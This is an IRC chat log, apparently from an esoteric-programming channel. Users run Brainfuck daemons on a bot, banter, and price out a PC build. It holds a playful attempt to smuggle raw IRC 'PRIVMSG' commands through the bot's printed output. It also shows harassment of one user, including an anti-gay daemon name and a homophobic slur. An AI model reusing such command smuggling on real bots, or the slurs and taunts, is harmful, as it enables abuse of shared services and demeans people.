19:41:54 <ehird> % tr 'a-z' 'oh, turtleneck Phrase Jar!'
19:41:54 <ehird> wftedskaebjgdpjgidbsmnjgc
19:41:56 <ehird> Just another Perl hacker,
19:42:06 <GregorR> !daemon stupidcat bf ,[.,]
19:42:06 <EgoBot> Daemon stupidcat running.
19:42:19 <EgoBot> Daemon stupidcat killed.
19:42:24 <GregorR> Somebody find a use for daemons :P
19:42:26 <ehird> You killed a kitten.
19:42:29 <AnMaster> ^ul (fungot is greater than EgoBot)S
19:42:29 <fungot> fungot is greater than EgoBot
19:42:35 <fizzie> ^ignore ^(thutubot|EgoBot)
19:42:39 <GregorR> ehird: Every time you kill a kitten, God masturbates.
19:42:51 <AnMaster> GregorR, how long do daemons run
19:42:57 <AnMaster> GregorR, and can they keep state
19:43:05 <GregorR> AnMaster: That's the whole idea.
19:43:07 <ais523> fizzie: pity, I was planning to write a terminating 3-way botloop then
19:43:09 <ehird> !daemon lol bf +[>+]
19:43:11 <AnMaster> GregorR, how do they keep the state.
19:43:26 <GregorR> AnMaster: They're an actual daemon, they just run.
19:43:31 <AnMaster> and how do you write a daemon in another language than bf
19:43:33 <GregorR> ehird: They are still memory limited :P
19:43:43 <EgoBot> daemon: !daemon <name> <language> <code>. Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time !<name> <input> is run. Note that daemons are only allotted one line of output for each line of input.
19:43:50 <ehird> what the heck do you think
19:43:52 <ehird> do you think bf means
19:45:00 <AnMaster> !daemon AARGH! befunge98 'Aaa*k: aa*k, a, n
19:45:00 <EgoBot> Daemon AARGH_ running.
19:45:17 <EgoBot> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
19:45:21 <GregorR> AnMaster: Names are whitelisted to A-Za-z0-9
19:45:26 <ais523> !daemon accumulate bf >+[[,----------]++++++++++++++++++++++[<]>[.>]+]
19:45:26 <EgoBot> Daemon accumulate running.
19:45:39 <AnMaster> GregorR, but how comes it doesn't continue to spam in /msg
19:45:46 <EgoBot> PRIVMSG #esoteric :Daemon accumulate killed.
19:45:53 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
19:46:06 <ais523> the PRIVMSG showing up like that
19:46:10 <ais523> EgoBot must have written it twice
19:46:31 <GregorR> Oh, actually, I know why it happened.
19:46:45 <GregorR> Because accumulate never created any output, it still had PRIVMSG #esoteric : on the buffer.
19:46:54 <GregorR> So it just appended another one to that :P
19:47:01 <fizzie> Maybe I should just make fungot so that it doesn't accept more than N consecutive queries from any one person; that's the way it currently does stop chatter-loops.
19:47:02 <fungot> fizzie: " taking three as the subject of our proposition is to be fnord from pride, they treat a phantom as something quite beneath contempt just as no turkey ever fnord of noticing a fnord.
19:47:06 <ais523> !daemon accumulate bf >+[[,----------]++++++++++++++++++++++[<]>[++++++++++.----------->]++++++++++.]
19:47:07 <EgoBot> Daemon accumulate running.
19:47:24 <EgoBot> Daemon accumulate killed.
19:47:29 <ais523> still borken, I think...
19:47:42 <AnMaster> fizzie, better make it check for duplicate ones. From same person
19:47:44 -!- puzzlet has joined.
19:48:13 <AnMaster> fizzie, and you could get around it with three bots easily, Less easy with "same message" / per person check
19:48:16 <ais523> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.----------->]++++++++++.]
19:48:16 <EgoBot> Daemon accumulate running.
19:48:18 <GregorR> AnMaster: Then you just need to make an iterating quine.
19:48:31 <EgoBot> Daemon accumulate killed.
19:49:09 <fizzie> It's pretty easy to make it so that a part of the bot-loop-message changes. Well, "easy" depending on the language, anyway. Something with numbers and arithmetic can easily have a incrementing counter there; duplicate-checking won't help much.
19:49:13 <AnMaster> should be optimised into strchr()
19:49:40 <AnMaster> GregorR, command to show program command for daemon please
19:49:42 <ais523> !daemon accumulate bf >+>+[[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:49:42 <EgoBot> Daemon accumulate running.
19:49:56 <GregorR> AnMaster: Your wish is my command.
19:49:59 <EgoBot> Daemon accumulate killed.
19:50:01 <AnMaster> ais523, test it locally first?
19:50:06 <ais523> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:50:07 <EgoBot> Daemon accumulate running.
19:50:16 <AnMaster> GregorR, oh! Then change it to "give me all your money" ;P
19:50:24 <GregorR> AnMaster: Oh wait, actually, that'd be a PITA, as I didn't keep it around X-P
19:50:29 <EgoBot> test1 test2 test3 test4
19:50:36 <ais523> now just to remove the junk &
19:50:38 <EgoBot> Daemon accumulate killed.
19:50:39 <GregorR> I love the random data at the beginning.
19:50:42 <AnMaster> ais523, why is there at [0005] there
19:50:44 -!- Hiato has joined.
19:50:46 <ais523> !daemon accumulate bf >+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:50:46 <EgoBot> Daemon accumulate running.
19:51:02 <ehird> !accumulate a shit
19:51:05 <GregorR> !addinterp rot13 bf http://esoteric.sange.fi/brainfuck/bf-source/prog/rot13.b
19:51:07 <ehird> !accumulate lol wat
19:51:07 <EgoBot> Interpreter rot13 installed.
19:51:19 <EgoBot> Daemon accumulate killed.
19:51:21 <ehird> !rot13 MILKING COWS; FOR PROFIT
19:51:21 <EgoBot> ZVYXVAT PBJF; SBE CEBSVG
19:51:31 <ehird> AnMaster: the archive.
19:51:32 <AnMaster> I have seen it before somewhere
19:51:33 <ais523> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:51:34 <EgoBot> Daemon accumulate running.
19:51:38 <GregorR> The olde brainfuck archive.
19:51:43 <fizzie> ^rot13 ZVYXVAT PBJF; SBE CEBSVG
19:51:43 <fungot> MILKING COWS; FOR PROFIT
19:51:46 <ais523> !accumulate accumulate
19:51:49 <GregorR> ais523: You don't seem to be doing so well :P
19:51:57 <ais523> oh well, I'll just leave the random ampersand there
19:52:07 <fizzie> The esolang mailing list was on sange.fi at some point, I think.
19:52:09 <ehird> ais523: what ampysandy
19:52:11 <GregorR> It's not an ampersand for me :P
19:52:12 <AnMaster> ais523, why do you need something in front at all
19:52:22 <Deewiant> For me it's an inverted-color K
19:52:23 <ais523> AnMaster: so that it enters the loop
19:52:31 <fizzie> Oh. I wonder if I'm subscribed, and with what address.
19:52:35 <ais523> ah, it's an ampersand for me
19:52:38 <ehird> ais523: make it [10]
19:52:43 <ehird> ais523: then it'll send a blank message
19:52:51 <GregorR> ehird: That's hyperuseful :P
19:53:01 <GregorR> No, because a blank message will waste your output line.
19:53:16 <AnMaster> ais523, make it a space instead
19:53:20 <GregorR> Output lines are precious, you only get one per input line :P
19:53:29 <ais523> AnMaster: that would make the input program longer
19:53:40 <EgoBot> rot13 accumulate ampersand
19:54:00 <ais523> actually, I'm about to go home
19:54:00 <ehird> !accumulate 19:53 EgoBot: rot13 accumulate ampersand
19:54:00 <EgoBot> rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand
19:54:03 <AnMaster> GregorR, do the programs run between input lines
19:54:04 <GregorR> !accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
19:54:04 <EgoBot> rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand Then Gregor made it uselessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
19:54:05 <GregorR> ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
19:54:14 <ehird> !accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
19:54:14 <EgoBot> ssssssssssssssssssssssssssssssssssssssssssssssss
19:54:19 <ehird> !accumulate Then Gregor made it uselesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
19:54:19 <EgoBot> rot13 accumulate ampersand 19:53 EgoBot: rot13 accumulate ampersand Then Gregor made it uselessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
19:54:25 <GregorR> AnMaster: They're true daemons in the classic sense.
19:54:30 <ais523> so I'll clear it now, please put topics of conversation in there, not junk, and I'll look at it when I come bacj
19:54:34 <EgoBot> Daemon accumulate killed.
19:54:37 <ehird> GregorR: a malevolent spirit?
19:54:37 <ais523> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:54:38 <EgoBot> Daemon accumulate running.
19:54:41 -!- ais523 has quit (Remote closed the connection).
19:55:05 <pikhq> !c printf("\nPRIVMSG #esoteric: Flimble.\n")
19:55:06 <AnMaster> !accumulate ehird being annoying again
19:55:06 <EgoBot> junk ehird being annoying again
19:55:18 <EgoBot> junk ehird being annoying again ;
19:55:24 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:55:24 <EgoBot> That daemon is already running!
19:55:27 <EgoBot> junk ehird being annoying again ; junk
19:55:30 <EgoBot> Daemon accumulate killed.
19:55:30 <pikhq> !c printf("Test?\nPRIVMSG pikhq: Flimble.\n")
19:55:31 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:55:31 <EgoBot> Daemon accumulate running.
19:55:37 <ehird> junk is a topic of conversation
19:55:44 <ehird> evidence: we're talking about it
19:55:45 <AnMaster> !accumulate ehird being annoying again
19:55:45 <EgoBot> junk ehird being annoying again
19:55:53 <pikhq> Aaaw, no raw IRC commands.
19:55:57 <GregorR> <ehird> evidence: we're talking about it // laaaaaaaaawl
19:55:58 <ehird> AnMaster: i am logically correct, by your own admission:
19:56:03 <EgoBot> Daemon accumulate killed.
19:56:06 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:56:06 <EgoBot> Daemon accumulate running.
19:56:08 <AnMaster> !accumulate ehird being annoying again
19:56:09 <EgoBot> junk ehird being annoying again
19:56:12 <EgoBot> Daemon accumulate killed.
19:56:15 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:56:15 <EgoBot> Daemon accumulate running.
19:56:16 <ehird> I can do this all day.
19:56:20 <AnMaster> !accumulate ehird being annoying again
19:56:20 <EgoBot> junk ehird being annoying again
19:56:26 <EgoBot> Daemon accumulate killed.
19:56:28 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:56:29 <EgoBot> Daemon accumulate running.
19:56:31 <AnMaster> !accumulate ehird being annoying again
19:56:32 <EgoBot> junk ehird being annoying again
19:56:35 <EgoBot> Daemon accumulate killed.
19:56:36 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:56:37 <EgoBot> Daemon accumulate running.
19:56:38 <AnMaster> !accumulate ehird being annoying again
19:56:38 <EgoBot> ehird being annoying again
19:56:40 <EgoBot> Daemon accumulate killed.
19:56:41 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:56:42 <EgoBot> Daemon accumulate running.
19:56:44 <nooga> you're being even more annoying than i
19:56:48 <AnMaster> !accumulate ehird being annoying again
19:56:48 <EgoBot> junk ehird being annoying again
19:56:51 <EgoBot> Daemon accumulate killed.
19:56:52 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:56:52 <EgoBot> Daemon accumulate running.
19:56:59 <ehird> I plead insanity, by the way.
19:57:05 <AnMaster> !accumulate ehird being very annoying again. As usual.
19:57:05 <EgoBot> junk ehird being very annoying again. As usual.
19:57:09 <EgoBot> Daemon accumulate killed.
19:57:15 <ehird> AnMaster: I'd like to point out that this is 50/50.
19:57:15 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:57:16 <EgoBot> Daemon accumulate running.
19:57:31 <EgoBot> Daemon accumulate killed.
19:57:41 <ehird> !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:57:41 <EgoBot> Daemon accumulate running.
19:57:51 <ehird> !accumulate j u n k
19:58:03 <ehird> !accumulate rubbish
19:58:33 <AnMaster> !accumulate ehird being very annoying again. As usual.
19:58:36 <ehird> !daemon gain bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:58:47 <ehird> !gain , a chinese one to be precise
19:58:47 <EgoBot> junk , a chinese one to be precise
19:58:53 <AnMaster> !gain ehird being very annoying again. As usual.
19:58:53 <EgoBot> junk , a chinese one to be precise ehird being very annoying again. As usual.
19:59:14 <ehird> !daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
19:59:15 <EgoBot> Daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever running.
19:59:15 <AnMaster> why can't he just do something else
19:59:17 <ehird> The solution to anything!
19:59:21 <ehird> !I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever junk
19:59:45 <AnMaster> GregorR, sigh. Please make it ignore ehird or something. Since he can't behave.
19:59:50 <AnMaster> !kill I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever
19:59:50 <EgoBot> Daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever killed.
19:59:57 <ehird> AnMaster: it's good to come out
20:00:17 <AnMaster> ehird, I see you don't know who you are.
20:00:37 <ehird> no, mine was a false statement since "I am AnMaster" was
20:00:37 <GregorR> OK children, it's time to go to kindergarten, stop fighting and eat your waffles.
20:00:54 <ehird> GregorR: of course, that only applies to the other person, I handled this maturely and responsibly
20:00:59 <ehird> ↑ what everyone thinks when they hear that
20:01:04 <AnMaster> now lets get back to relevant stuff.
20:01:15 <ehird> !daemon I_am_AnMaster_and_I_am_the_most_gayest_gay_person_ever bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
20:01:29 <AnMaster> GregorR, he is abusing the bot!
20:01:48 <GregorR> AnMaster: Actually, it outputs "No." whenever it receives a command from him.
20:02:03 <Robdgreat> you're going to make GregorR turn this channel around and go back home
20:02:08 <ehird> GregorR: so I assume that AnMaster didn't do anything wrong at all
20:02:13 <ehird> only contributing to half of it
20:02:23 <GregorR> ehird: I've stopped the cycle.
20:02:57 <GregorR> ehird: Given that AnMaster is not now using the bot at all, I'm gonna go with "I stopped the cycle"
20:03:14 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
20:03:21 <ehird> ^def accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.]
20:03:25 <ehird> ^accumulate 2cool4skool
20:04:14 <GregorR> Why is it that you two are so much more immature around each other than in any other situation anyway X_X
20:04:31 <ehird> Because he's annoying.
20:04:33 <ehird> <AnMaster> Because he's annoying.
20:04:40 <AnMaster> I don't know why ehird is. Meh.
20:05:07 * GregorR walks away from the channel for a while.
20:05:08 <ehird> It takes a startling amount of cognitive dissonance to partake in the exact same activity as someone else and claim it only makes *them* immature.
20:05:23 <AnMaster> <GregorR> Bloody fekking oy X_X <-- I wonder what happened there.
20:06:04 <ehird> Robdgreat: My voice is quite high-pitched, yes. ← I
20:06:08 <ehird> 'm funny because I deliberately misunderstand people
20:06:47 <Robdgreat> ehird: and then when I point out the hypocrisy I get "so the fact that I do it means you have to?!"
20:07:14 <ehird> Do what I say not what I do, unless it's obvious that you should be doing what I do, don't you know anything
20:08:19 <Robdgreat> I keep telling her my mind-reading license was revoked some years before we met.
20:08:50 <ehird> Marriage ruins everything!
20:14:38 <ehird> [ehird:~/Code/ante] % runhaskell Main.hs
20:14:38 <ehird> Main.hs: Prelude.undefined
20:14:43 <ehird> one small step for a keyboard
20:14:48 <ehird> ONE GIANT LEAP FOR BRAINFUCK OPTIMIZATION KIND
20:15:38 <GregorR> ehird: Clearly your BF optimizer is working great :P
20:24:50 -!- xor has changed nick to bsmntbombdood.
20:30:28 <ehird> someone link to lostkng
20:37:08 -!- oerjan has joined.
20:37:22 * oerjan was worried there for a moment
20:37:45 <oerjan> i turn on my laptop and the screen is black...
20:43:44 -!- puzzlet_ has joined.
20:44:03 -!- puzzlet has quit (Connection reset by peer).
20:44:39 <nooga> i became openCOBOL hacker
20:48:03 <kerlo> It'd be nice if Gmail could send you an email every time you get an email so that you know when to check.
20:58:54 <ehird> bsmntbombdood: wat
20:59:09 <oerjan> kerlo: maybe an RSS feed?
20:59:13 <ehird> bsmntbombdood: amusingly I was just reading some logs where you were talking about trying Uberman's; how did that go?
20:59:17 <ehird> oerjan: gmail has a feed.
20:59:41 <ehird> well, 29th, more like -06
21:00:08 <ehird> bsmntbombdood: how long did you do it?
21:00:28 <ehird> bsmntbombdood: the article says days 3-10 are the worst
21:00:40 <ehird> ...god created the something.
21:00:58 <kerlo> So how many of us have ehird on /ignore now?
21:01:03 <oerjan> the something something
21:01:05 <ehird> kerlo: you and AnMaster
21:01:18 <ehird> nobody else is stupid enough to miss out on me :-)
21:01:19 <bsmntbombdood> i was supposed to be waking up from a nap, slept about 4 hours through me hideously loud alarm, mother came into my room and tried to wake her, and i apparently sleep-talked her into letting me go back to sleep
21:04:55 <ehird> 13:35:14 <aarcane> speaking of brainfuck, how does one use the Database in brainfuck ?
21:05:06 <bsmntbombdood> and all i could manage to do with my extra time was sit in front of the computer and watch tv
21:05:59 <kerlo> I have my alarm clock set to make a little clicking noise at 4 AM.
21:06:34 <kerlo> The exact same little clicking noise wakes me up at 6 AM, but not once has it woken me up at 4 AM.
21:07:33 -!- coppro has quit ("The only thing I know is that I know nothing").
21:07:59 -!- coppro has joined.
21:08:01 <bsmntbombdood> the sound of my alarm clock is physically repulsive
21:08:23 <ehird> My alarm clock is my iPhone; it sounds fine, but it's simultaneously in its dock and trying to vibrate
21:08:31 <ehird> BZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZT! BZZZZZZZZZZZZZZZZZZZT! KRRRRRRRRRRRRRRRRBZZZZZZZZZZZZZZZZZT!
21:15:25 -!- tombom has quit ("Peace and Protection 4.22.2").
21:24:02 <ehird> "CPU: PIII 450MHz, Id 0x673, Stepping 3 "
21:24:09 <ehird> Nils M Holm uses that CPU.
21:24:17 <ehird> He wasn't joking when he said he had an old computer
21:24:21 <ehird> "Memory: 256MB PC133 SDRAM w/ ECC"
21:30:28 <ehird> bsmntbombdood: beats a p3 450mhz
21:30:45 <oerjan> heh, http://peltiertech.com/WordPress/wp-content/img200811/GraphJam3d.jpg
21:30:47 <ehird> heh, i have a core 2 duo 2.16ghz w/ 2.5gb of ram and *I* feel limited ... :-)
21:32:05 <oerjan> you filthy capitalists
21:32:05 <ehird> i think a 4-core core i7 3.2ghz w/ 12gb of (ddr3) ram should last a while at least
21:32:20 <ehird> bsmntbombdood: i have 4gb on you bitch
21:32:25 <ehird> oerjan: yeah, tell me about it
21:35:19 <ehird> bsmntbombdood: very... but also delicious
21:35:26 <ehird> 20-40% faster memory access? delicious
21:35:43 <ehird> bsmntbombdood: oh, and with an i7 you have to use ddr3
21:35:50 <ehird> and the new AMDs are kind of crap
21:35:51 <Deewiant> Then you can run Mycology in less than 0.001 seconds!
21:36:00 <ehird> they're slightly less thermally challenged and competitive with core 2 extremes
21:36:09 <ehird> they are cheap though
21:36:22 <ehird> bsmntbombdood: but ddr3 really is expensive
21:36:29 <ehird> £300 or so for 12GB
21:36:29 <Deewiant> The core 2s are still faster than the i7s for some CPU-bound stuff
21:36:37 -!- Hiato has quit ("Leaving.").
21:36:46 <ehird> Deewiant: yeah, but at 3.2ghz it's probably unnoticable unless you're doing wacky stuff
21:36:56 <ehird> bsmntbombdood: yeah way
21:37:05 <ehird> that was high-clocked ram tho
21:37:14 <Deewiant> ehird: Yeah, I don't think it's a very big difference. Maybe a few minutes if you're doing video encoding or something.
21:37:30 <ehird> Deewiant: yeah - and that ram access is nice
21:37:35 <ehird> esp since it has a small l2
21:37:50 <ehird> bsmntbombdood: i7s have hyperthreading too
21:37:56 <Deewiant> bsmntbombdood: Probably notrly since I pulled that out of my sleeve, google for benchmarks if you want rly
21:38:21 <ehird> oh, you also need a new mobo
21:39:37 <ehird> lemme look up the cost of 8gb "bog standard" ddr3
21:39:55 <bsmntbombdood> http://www.newegg.com/Product/Product.aspx?Item=N82E16820227388
21:40:02 <ehird> bsmntbombdood: $244 from mushkin http://www.mushkin.com/doc/products/memory_detail.asp?id=766
21:40:18 <ehird> not sure I'd trust ocz with my ram
21:40:41 <ehird> Deewiant: irrational human bias
21:40:43 <ehird> bsmntbombdood: a company
21:41:01 <ehird> bsmntbombdood: who make things like a thing that reads your brainwaves to control a computer badly
21:41:12 <ehird> well, and good ssds, but let's not let facts get in the way of irrational bias
21:41:21 <Deewiant> I know them only for good RAM and semigood SSDs
21:42:39 * bsmntbombdood gives ehird $1500-2000 and tells him to buy me a computer
21:42:50 <ehird> damn I wish my new rig was that cheap :(
21:43:05 <ehird> ofc it would be if I wasn't trying to silence it
21:44:20 <ehird> bsmntbombdood: i'm bored so I'm going to find the best parts I can for that money
21:44:21 -!- ehird has left (?).
21:44:24 -!- ehird has joined.
21:44:32 <ehird> ... that was intentional, totally
21:44:37 <ehird> i leave channels for dramatic effect
21:45:04 <ehird> bsmntbombdood: rightyho
21:45:23 <Deewiant> If you want hardware RAID that'll be another $1000
21:45:33 <ehird> bsmntbombdood: do you want hardware raid.
21:45:40 <ehird> Deewiant: I've seen ones for $700
21:45:53 <ehird> bsmntbombdood: I'll just assume you want hardware raid.
21:46:01 <ehird> and can compromise cpu clockage for it :P
21:46:03 <bsmntbombdood> hardware raid won't speed up raid1 significantly will it?
21:46:08 <ehird> dunno, ask Deewiant
21:46:10 <AnMaster> coppro, vanilla icecream > garlic > *
21:46:16 <ehird> Deewiant: will hardware raid speed up raid1 significantly
21:46:48 <ehird> right then no hardware raid
21:46:58 <bsmntbombdood> i imagine if you have a raid controller with a big cache it'll speed up anything, but it's probably not worth it if you have a large amount of ram
21:47:26 <ehird> bsmntbombdood: do you care about noise or coolers or any of that shit or can I have a break from fussing about that rubbish ;-)
21:48:00 <AnMaster> I wonder if there is any music using the lowest octave on the piano. Well of course there is music for other instruments using it. But I can't think of any for piano specifically
21:48:26 <ehird> bsmntbombdood: I'm currently hardlimiting to $1500 fwiw
21:48:38 <ehird> Which means you get a clock speed lower than 3.2ghz :-P
21:48:49 <ehird> 2.93ghz is half the price, lol.
21:48:57 <AnMaster> possibly the lowest *and* the highest at once :)
21:49:56 <ehird> bsmntbombdood: 6gb of ram fine for you? nehalem works better with odd amounts iirc :-P
21:50:10 <ehird> 8gb or 12gb it is :P
21:50:27 <AnMaster> <ehird> bsmntbombdood: 6gb of ram fine for you? nehalem works better with odd amounts iirc :-P <-- [citation needed]
21:50:31 -!- tombom has joined.
21:50:39 <AnMaster> it seems rather strange that it would
21:50:49 <ehird> odd number of actual ram stix
21:51:24 <ehird> bsmntbombdood: 12gb it is then
21:51:29 <ehird> unless i can find 8gb
21:52:05 <ehird> AnMaster: meh, it's true anyway :P
21:52:21 <ehird> bsmntbombdood: any video card requirements
21:52:34 <ehird> AnMaster: because the nehalem's integrated memory controller thing has 3 slots that's why
21:52:41 <ehird> bsmntbombdood: kay
21:52:49 <ehird> bsmntbombdood: just onboard then?
21:53:50 <ehird> bsmntbombdood: dammit, the mobo only has 3 ram slots, so I can't fit 12gb in there. [dealwith6gb/picknewmobo] _
21:54:11 <ehird> mobo picking process initiated
21:54:30 <ehird> Deewiant: find me 4gb of ddr3 ram on newegg
21:54:42 <AnMaster> ehird, are you ordering for bsmntbombdood
21:54:49 <ehird> AnMaster: i'm finding the components for bsmntbombdood
21:54:53 <ehird> since I'm le bored
21:55:02 <ehird> bsmntbombdood: ah, $10 more gets you a mobo with 6 slots
21:55:48 <AnMaster> ehird, hm http://www.theinquirer.net/inquirer/news/1024053/performance-ram-damage-nehalem
21:55:57 <ehird> bsmntbombdood: ...but it has no onboard video, so I'll have to get an el cheapo card
21:56:23 <ehird> cpu+mobo+ram currently @ $1084.96
21:56:57 <ehird> bsmntbombdood: you run linux right
21:57:20 <ehird> AnMaster: yeah I know
21:57:23 <AnMaster> Deewiant, just saw it as a reference on wp
21:58:02 <ehird> bsmntbombdood: rite?
21:58:24 <ehird> bsmntbombdood: so, cheapest modern nvidia card I can find then
21:59:26 <AnMaster> bsmntbombdood, can't you find this yourself btw
22:01:15 <ehird> bsmntbombdood: i assume you're ok with onboard audio
22:01:37 <ehird> and don't need a new monitor :P
22:01:49 <ehird> bsmntbombdood: probably nothing.
22:02:01 <ehird> 2x1tb drive time, rather
22:05:04 <ehird> bsmntbombdood: I currently have a 2.93ghz i7, mobo, 12gb ddr3 ram, radeon 4350 gfx, and two hitachi 7200rpm 1tb drives at $1294.93
22:05:56 <AnMaster> <bsmntbombdood> AnMaster: no <-- why not
22:06:05 <ehird> bsmntbombdood: any comments or shall i continue
22:06:14 <ehird> AnMaster: i'd do it anyway, i find this kind of thing fun
22:06:28 <AnMaster> I hate trying to find new computer
22:06:41 <ehird> bsmntbombdood: no duh
22:06:46 <ehird> that's why I said "shall I continue"
22:06:47 <AnMaster> making sure it works with Linux. And wlan
22:07:19 <ehird> bsmntbombdood: any case requirements? some people like a transparent case showing loads of wires, it makes them feel 1337. i can't begin to imagine why
22:07:33 <AnMaster> ehird, what about that open case
22:07:36 <bsmntbombdood> ehird: nothing retarded like that, it should just be roomy
22:07:51 <ehird> bsmntbombdood: just construct a new room in your house and put the hw in there
22:07:57 <ehird> http://instantrimshot.com
22:08:15 <ehird> hmm, wonder how much watts this thing needs
22:08:31 <ehird> bsmntbombdood: so how roomy is roomy for you
22:09:11 <pikhq> ehird: I'd be more impressed if the room was necessary.
22:10:31 <ehird> bsmntbombdood: how's 18.9"x8"x17.2" sound
22:11:05 <AnMaster> ehird, bsmntbombdood http://www.antec.com/Believe_it/product.php?id=NzA0
22:11:35 <AnMaster> http://www.futurelooks.com/antec-skeleton-open-air-case-review/
22:12:03 <ehird> bsmntbombdood: kay, I got a psu and a case
22:12:37 <ehird> bsmntbombdood: http://pastie.org/467029.txt?key=rdogtxjhg9o05mr5xndwq
22:14:50 <ehird> bsmntbombdood: so that's
22:15:01 <ehird> quad-core core i7 940 @ 2.93ghz
22:15:06 <ehird> bog standard i7 mobo
22:15:13 <ehird> 12gb of ddr3 ram (6x2)
22:15:36 <ehird> radeon hd 4350 512mb, 2*1tb 7200rpm drive
22:15:40 <ehird> and a blah regular roomy case
22:15:50 <ehird> i don't see any obvious non-graphics-intensive bottlenecks there
22:16:07 <Deewiant> Overkill GPU if he's not going to use it for anything
22:16:16 <ehird> Deewiant: It's $39.99
22:16:26 <ehird> And it's a relatively modern card
22:16:49 <bsmntbombdood> i can't remember if it's ATI or Nvidia that has bad linux support
22:16:52 <ehird> bsmntbombdood: ati
22:16:57 <ehird> ati have bad linux support
22:17:07 <Deewiant> Yeaah, worse than a Radeon 9700
22:17:14 <ehird> Deewiant: he said gaming is for fags.
22:17:17 <ehird> he wanted onboard video
22:17:26 <ehird> I just got the cheapest card I recognized cause the mobo didn't have that
22:17:31 <ehird> bsmntbombdood: hmm
22:17:43 <ehird> although the crappier atis have better linux support
22:17:46 <ehird> but right, i'll repick a nvidia
22:17:51 <ehird> i just don't know anything about nvidias :-)
22:18:09 <Deewiant> But anyway, that card is worse than something I was thinking of purchasing back in 2003
22:18:14 <Deewiant> I wonder why it has 512MB of RAM
22:18:32 <ehird> Deewiant: SPARKLE GeForce 9400 GT SFPX94GT1024U2 Video Card - Retail 1gb
22:18:44 <ehird> do YOU know anything about nvidias?
